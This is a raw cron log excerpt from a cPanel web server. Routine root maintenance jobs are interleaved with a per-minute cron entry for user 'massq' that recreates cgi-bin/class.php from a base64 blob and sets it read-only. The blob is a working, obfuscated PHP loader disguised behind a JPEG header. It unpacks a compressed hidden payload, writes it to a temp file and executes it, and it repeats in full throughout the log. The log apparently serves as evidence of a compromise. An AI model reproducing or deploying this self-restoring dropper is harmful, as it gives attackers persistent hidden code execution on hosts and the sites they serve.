444 "$fp")
Aug 30 15:40:01 server CROND[2835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:41:01 server CROND[3690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:41:01 server CROND[3691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:41:01 server CROND[3692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:42:01 server CROND[4063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:42:01 server CROND[4065]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:42:01 server CROND[4066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:42:01 server CROND[4064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:43:01 server CROND[4439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:43:01 server CROND[4440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:43:01 server CROND[4441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:44:01 server CROND[4833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:44:01 server CROND[4834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:44:01 server CROND[4835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:45:01 server CROND[5306]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:45:01 server CROND[5310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:45:01 server CROND[5311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:45:01 server CROND[5308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:45:01 server CROND[5313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:45:01 server CROND[5312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:45:01 server CROND[5309]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:46:01 server CROND[6142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:46:01 server CROND[6143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:46:01 server CROND[6144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:47:01 server CROND[6512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:47:01 server CROND[6513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:47:01 server CROND[6514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:48:01 server CROND[6886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:48:01 server CROND[6887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:48:01 server CROND[6888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:49:01 server CROND[7261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:49:01 server CROND[7262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:49:01 server CROND[7263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:50:01 server CROND[7735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:50:01 server CROND[7737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:50:01 server CROND[7744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:50:01 server CROND[7743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:50:01 server CROND[7739]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:50:01 server CROND[7742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:50:01 server CROND[7745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:50:01 server CROND[7741]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:50:01 server CROND[7740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:51:01 server CROND[8572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:51:01 server CROND[8573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:51:01 server CROND[8574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:52:01 server CROND[8949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:52:01 server CROND[8950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:52:01 server CROND[8948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:53:01 server CROND[9613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:53:01 server CROND[9614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
